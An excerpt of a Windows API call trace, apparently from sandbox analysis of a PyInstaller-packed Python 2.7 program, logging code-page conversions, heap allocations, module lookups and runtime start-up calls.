lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x9babf8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā") returned 256 [0071.876] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0071.876] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā", cchSrc=256, lpDestStr=0x9ba9e8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0071.876] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x9bb1c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x51\x1c\xd8\x7d\xf8\xb3\x9b", lpUsedDefaultChar=0x0) returned 256 [0071.876] GetLastError () returned 0x6 [0071.876] SetLastError (dwErrCode=0x6) [0071.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9bb2c0, cbMultiByte=256, lpWideCharStr=0x9bac18, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā") returned 256 [0071.876] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0071.877] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿž瑎Ā", cchSrc=256, lpDestStr=0x9baa08, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0071.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x9bb0c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x51\x1c\xd8\x7d\xf8\xb3\x9b", lpUsedDefaultChar=0x0) returned 256 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x94) returned 0x2ad1768 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1f) returned 0x2ad1808 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x28) returned 0x2ad1830 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x37) returned 0x2ad1860 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3c) returned 0x2ad18a0 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x31) returned 0x2ad18e8 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x14) returned 0x2ad1928 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x24) returned 0x2ad1948 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd) returned 0x2ad1978 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x17) returned 0x2ad1990 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2b) returned 0x2ad19b0 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x15) returned 0x2ad19e8 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x17) returned 0x2ad1a08 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x22) returned 0x2ad1a28 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xe) returned 0x2ad1a58 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xc1) returned 0x2ad1a70 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3e) returned 0x2ad1b40 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1b) returned 0x2ad1b88 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1d) returned 0x2ad1bb0 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x48) returned 0x2ad1bd8 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x12) returned 0x2ad1c28 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x18) returned 0x2ad1c48 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1b) returned 0x2ad1c68 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x24) returned 0x2ad1c90 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x29) returned 0x2ad1cc0 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1e) returned 0x2ad1cf8 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x6b) returned 0x2ad1d20 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x17) returned 0x2ad1d98 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xf) returned 0x2ad1db8 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x16) returned 0x2ad1dd0 [0071.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x28) returned 0x2ad1df0 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x27) returned 0x2ad1e20 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x12) returned 0x2ad1e50 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x21) returned 0x2ad1e70 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10) returned 0x2ad1ea0 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2ad1eb8 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x12) returned 0x2ad1ee0 [0071.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0fd0 | out: hHeap=0x2ad0000) returned 1 [0071.879] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75e90000 [0071.879] GetProcAddress (hModule=0x75e90000, lpProcName="IsProcessorFeaturePresent") returned 0x75ea5960 [0071.879] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0071.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x800) returned 0x2ad1f00 [0071.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9bb41c | out: lpSystemTimeAsFileTime=0x9bb41c*(dwLowDateTime=0xf3ad03db, dwHighDateTime=0x1d5215d)) [0071.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x80) returned 0x2ad0fd0 [0071.880] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ad0fd0) returned 0x80 [0071.881] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0071.881] GetProcAddress (hModule=0x75e90000, lpProcName="FindActCtxSectionStringW") returned 0x75ea78a0 [0071.882] GetModuleHandleW (lpModuleName="PGORT90.dll") returned 0x0 [0071.882] GetModuleFileNameW (in: hModule=0x74470000, lpFilename=0x9b3538, nSize=0x1f40 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\MSVCR90.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\msvcr90.dll")) returned 0x38 [0071.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\MSVCR90.dll", lpszLongPath=0x9b73b8, cchBuffer=0x1f40 | out: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\msvcr90.dll") returned 0x38 [0071.883] GetSystemDirectoryW (in: lpBuffer=0x9bb238, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0071.883] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="msvcr90.dll", ReturnedData=0x9b32c0 | out: ReturnedData=0x9b32c0) returned 1 [0071.883] GetSystemWindowsDirectoryW (in: lpBuffer=0x9bb238, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0071.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Microsoft.VC90.CRT.manifest", lpFindFileData=0x9b3050 | out: lpFindFileData=0x9b3050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x9b3200, dwReserved1=0xc0000135, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 0x1055aa0 [0071.884] FileTimeToLocalFileTime (in: lpFileTime=0x9b3054, lpLocalFileTime=0x9b3030 | out: lpLocalFileTime=0x9b3030) returned 1 [0071.884] FileTimeToSystemTime (in: lpFileTime=0x9b3030, lpSystemTime=0x9b3020 | out: lpSystemTime=0x9b3020) returned 1 [0071.884] GetLastError () returned 0x0 [0071.884] SetLastError (dwErrCode=0x0) [0071.884] GetLastError () returned 0x0 [0071.884] SetLastError (dwErrCode=0x0) [0071.884] GetLastError () returned 0x0 [0071.884] SetLastError (dwErrCode=0x0) [0071.885] GetTimeZoneInformation (in: lpTimeZoneInformation=0x7450bfc0 | out: lpTimeZoneInformation=0x7450bfc0) returned 0x2 [0071.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Standard Time", cchWideChar=-1, lpMultiByteStr=0x745076b0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x9b2f54 | out: lpMultiByteStr="W. Europe Standard Time", lpUsedDefaultChar=0x9b2f54) returned 24 [0071.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="W. Europe Daylight Time", cchWideChar=-1, lpMultiByteStr=0x745076f0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x9b2f54 | out: lpMultiByteStr="W. Europe Daylight Time", lpUsedDefaultChar=0x9b2f54) returned 24 [0071.885] FileTimeToLocalFileTime (in: lpFileTime=0x9b305c, lpLocalFileTime=0x9b302c | out: lpLocalFileTime=0x9b302c) returned 1 [0071.885] FileTimeToSystemTime (in: lpFileTime=0x9b302c, lpSystemTime=0x9b301c | out: lpSystemTime=0x9b301c) returned 1 [0071.885] FileTimeToLocalFileTime (in: lpFileTime=0x9b3064, lpLocalFileTime=0x9b3028 | out: lpLocalFileTime=0x9b3028) returned 1 [0071.885] FileTimeToSystemTime (in: lpFileTime=0x9b3028, lpSystemTime=0x9b3018 | out: lpSystemTime=0x9b3018) returned 1 [0071.885] FindClose (in: hFindFile=0x1055aa0 | out: hFindFile=0x1055aa0) returned 1 [0071.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2ad1058 [0071.886] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ad1058) returned 0x80 [0071.887] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ad1058) returned 0x80 [0071.891] LoadStringA (in: hInstance=0x72ef0000, uID=0x3e8, lpBuffer=0x73172eec, cchBufferMax=16 | out: lpBuffer="2.7") returned 0x3 [0071.891] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0071.892] GetProcAddress (hModule=0x75e90000, lpProcName="GetCurrentActCtx") returned 0x75ea78c0 [0071.892] GetProcAddress (hModule=0x75e90000, lpProcName="ActivateActCtx") returned 0x75ea77e0 [0071.892] GetProcAddress (hModule=0x75e90000, lpProcName="DeactivateActCtx") returned 0x75ea7860 [0071.892] GetProcAddress (hModule=0x75e90000, lpProcName="AddRefActCtx") returned 